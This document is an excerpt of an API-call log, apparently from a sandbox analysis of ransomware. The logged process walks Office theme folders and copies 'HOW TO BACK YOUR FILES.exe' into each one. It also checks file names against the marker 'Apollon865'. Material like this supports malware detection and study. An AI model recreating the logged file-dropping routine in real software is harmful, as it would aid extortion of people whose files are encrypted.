	[0075.084] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44d24c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44d24c70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.084] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="ECLIPSE.ELM" | out: lpString1="ECLIPSE.ELM") returned="ECLIPSE.ELM"
	[0075.084] lstrlenW (lpString="ECLIPSE.ELM") returned 11
	[0075.084] lstrlenW (lpString="Apollon865") returned 10
	[0075.084] lstrcmpiW (lpString1="CLIPSE.ELM", lpString2="Apollon865") returned 1
	[0075.084] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="ECLIPSE.INF" | out: lpString1="ECLIPSE.INF") returned="ECLIPSE.INF"
	[0075.084] lstrlenW (lpString="ECLIPSE.INF") returned 11
	[0075.084] lstrlenW (lpString="Apollon865") returned 10
	[0075.084] lstrcmpiW (lpString1="CLIPSE.INF", lpString2="Apollon865") returned 1
	[0075.084] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.084] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.084] lstrlenW (lpString="Apollon865") returned 10
	[0075.085] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.085] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.085] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.085] lstrlenW (lpString="Apollon865") returned 10
	[0075.085] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.085] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO"
	[0075.085] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfa30 | out: hHeap=0x580000) returned 1
	[0075.085] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0075.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO") returned 60
	[0075.085] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO"
	[0075.085] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.085] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.089] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.089] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44d4add0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44d4add0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.089] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="ECHO.ELM" | out: lpString1="ECHO.ELM") returned="ECHO.ELM"
	[0075.089] lstrlenW (lpString="ECHO.ELM") returned 8
	[0075.089] lstrlenW (lpString="Apollon865") returned 10
	[0075.089] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="ECHO.INF" | out: lpString1="ECHO.INF") returned="ECHO.INF"
	[0075.089] lstrlenW (lpString="ECHO.INF") returned 8
	[0075.089] lstrlenW (lpString="Apollon865") returned 10
	[0075.089] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.089] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.090] lstrlenW (lpString="Apollon865") returned 10
	[0075.090] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.090] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.090] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.090] lstrlenW (lpString="Apollon865") returned 10
	[0075.090] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.090] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE"
	[0075.090] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8c58 | out: hHeap=0x580000) returned 1
	[0075.090] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0075.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE") returned 64
	[0075.090] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE"
	[0075.090] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.090] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.096] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.096] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44d4add0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44d4add0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.096] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="DEEPBLUE.ELM" | out: lpString1="DEEPBLUE.ELM") returned="DEEPBLUE.ELM"
	[0075.096] lstrlenW (lpString="DEEPBLUE.ELM") returned 12
	[0075.096] lstrlenW (lpString="Apollon865") returned 10
	[0075.096] lstrcmpiW (lpString1="EPBLUE.ELM", lpString2="Apollon865") returned 1
	[0075.096] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="DEEPBLUE.INF" | out: lpString1="DEEPBLUE.INF") returned="DEEPBLUE.INF"
	[0075.096] lstrlenW (lpString="DEEPBLUE.INF") returned 12
	[0075.096] lstrlenW (lpString="Apollon865") returned 10
	[0075.096] lstrcmpiW (lpString1="EPBLUE.INF", lpString2="Apollon865") returned 1
	[0075.097] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.097] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.097] lstrlenW (lpString="Apollon865") returned 10
	[0075.097] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.097] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.097] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.097] lstrlenW (lpString="Apollon865") returned 10
	[0075.097] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.097] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE"
	[0075.097] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8ce8 | out: hHeap=0x580000) returned 1
	[0075.097] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0075.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE") returned 64
	[0075.097] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE"
	[0075.097] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.097] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.102] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.102] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44d4add0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44d4add0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.103] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="CONCRETE.ELM" | out: lpString1="CONCRETE.ELM") returned="CONCRETE.ELM"
	[0075.103] lstrlenW (lpString="CONCRETE.ELM") returned 12
	[0075.103] lstrlenW (lpString="Apollon865") returned 10
	[0075.103] lstrcmpiW (lpString1="NCRETE.ELM", lpString2="Apollon865") returned 1
	[0075.103] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="CONCRETE.INF" | out: lpString1="CONCRETE.INF") returned="CONCRETE.INF"
	[0075.103] lstrlenW (lpString="CONCRETE.INF") returned 12
	[0075.103] lstrlenW (lpString="Apollon865") returned 10
	[0075.103] lstrcmpiW (lpString1="NCRETE.INF", lpString2="Apollon865") returned 1
	[0075.103] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.103] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.103] lstrlenW (lpString="Apollon865") returned 10
	[0075.103] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.103] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.103] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.103] lstrlenW (lpString="Apollon865") returned 10
	[0075.103] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.103] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS"
	[0075.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf920 | out: hHeap=0x580000) returned 1
	[0075.103] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0075.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS") returned 63
	[0075.104] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS"
	[0075.104] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.104] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.107] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.107] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44d70f30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44d70f30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.108] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="COMPASS.ELM" | out: lpString1="COMPASS.ELM") returned="COMPASS.ELM"
	[0075.108] lstrlenW (lpString="COMPASS.ELM") returned 11
	[0075.108] lstrlenW (lpString="Apollon865") returned 10
	[0075.108] lstrcmpiW (lpString1="OMPASS.ELM", lpString2="Apollon865") returned 1
	[0075.108] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="COMPASS.INF" | out: lpString1="COMPASS.INF") returned="COMPASS.INF"
	[0075.108] lstrlenW (lpString="COMPASS.INF") returned 11
	[0075.108] lstrlenW (lpString="Apollon865") returned 10
	[0075.108] lstrcmpiW (lpString1="OMPASS.INF", lpString2="Apollon865") returned 1
	[0075.108] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.108] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.108] lstrlenW (lpString="Apollon865") returned 10
	[0075.108] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.108] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.108] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.108] lstrlenW (lpString="Apollon865") returned 10
	[0075.108] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.109] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE"
	[0075.109] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0075.109] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0075.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE") returned 63
	[0075.109] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE"
	[0075.109] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.109] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.114] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.114] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44d70f30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44d70f30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.114] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="CASCADE.ELM" | out: lpString1="CASCADE.ELM") returned="CASCADE.ELM"
	[0075.114] lstrlenW (lpString="CASCADE.ELM") returned 11
	[0075.114] lstrlenW (lpString="Apollon865") returned 10
	[0075.114] lstrcmpiW (lpString1="ASCADE.ELM", lpString2="Apollon865") returned 1
	[0075.114] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="CASCADE.INF" | out: lpString1="CASCADE.INF") returned="CASCADE.INF"
	[0075.114] lstrlenW (lpString="CASCADE.INF") returned 11
	[0075.114] lstrlenW (lpString="Apollon865") returned 10
	[0075.114] lstrcmpiW (lpString1="ASCADE.INF", lpString2="Apollon865") returned 1
	[0075.114] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.114] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.114] lstrlenW (lpString="Apollon865") returned 10
	[0075.114] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.125] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.125] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.125] lstrlenW (lpString="Apollon865") returned 10
	[0075.125] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.125] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES"
	[0075.125] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8d78 | out: hHeap=0x580000) returned 1
	[0075.125] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0075.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES") returned 64
	[0075.125] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES"
	[0075.125] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.125] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.131] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.131] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44d97090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44d97090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.132] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="CAPSULES.ELM" | out: lpString1="CAPSULES.ELM") returned="CAPSULES.ELM"
	[0075.132] lstrlenW (lpString="CAPSULES.ELM") returned 12
	[0075.132] lstrlenW (lpString="Apollon865") returned 10
	[0075.132] lstrcmpiW (lpString1="PSULES.ELM", lpString2="Apollon865") returned 1
	[0075.132] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="CAPSULES.INF" | out: lpString1="CAPSULES.INF") returned="CAPSULES.INF"
	[0075.132] lstrlenW (lpString="CAPSULES.INF") returned 12
	[0075.132] lstrlenW (lpString="Apollon865") returned 10
	[0075.132] lstrcmpiW (lpString1="PSULES.INF", lpString2="Apollon865") returned 1
	[0075.132] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.132] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.132] lstrlenW (lpString="Apollon865") returned 10
	[0075.132] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.132] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.132] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.132] lstrlenW (lpString="Apollon865") returned 10
	[0075.132] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.132] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON"
	[0075.132] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf810 | out: hHeap=0x580000) returned 1
	[0075.133] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0075.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON") returned 62
	[0075.133] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON"
	[0075.133] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.133] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.137] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44dbd1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44dbd1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.138] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="CANYON.ELM" | out: lpString1="CANYON.ELM") returned="CANYON.ELM"
	[0075.138] lstrlenW (lpString="CANYON.ELM") returned 10
	[0075.138] lstrlenW (lpString="Apollon865") returned 10
	[0075.138] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="CANYON.INF" | out: lpString1="CANYON.INF") returned="CANYON.INF"
	[0075.138] lstrlenW (lpString="CANYON.INF") returned 10
	[0075.138] lstrlenW (lpString="Apollon865") returned 10
	[0075.138] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.138] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.138] lstrlenW (lpString="Apollon865") returned 10
	[0075.138] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.138] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.138] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.138] lstrlenW (lpString="Apollon865") returned 10
	[0075.138] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
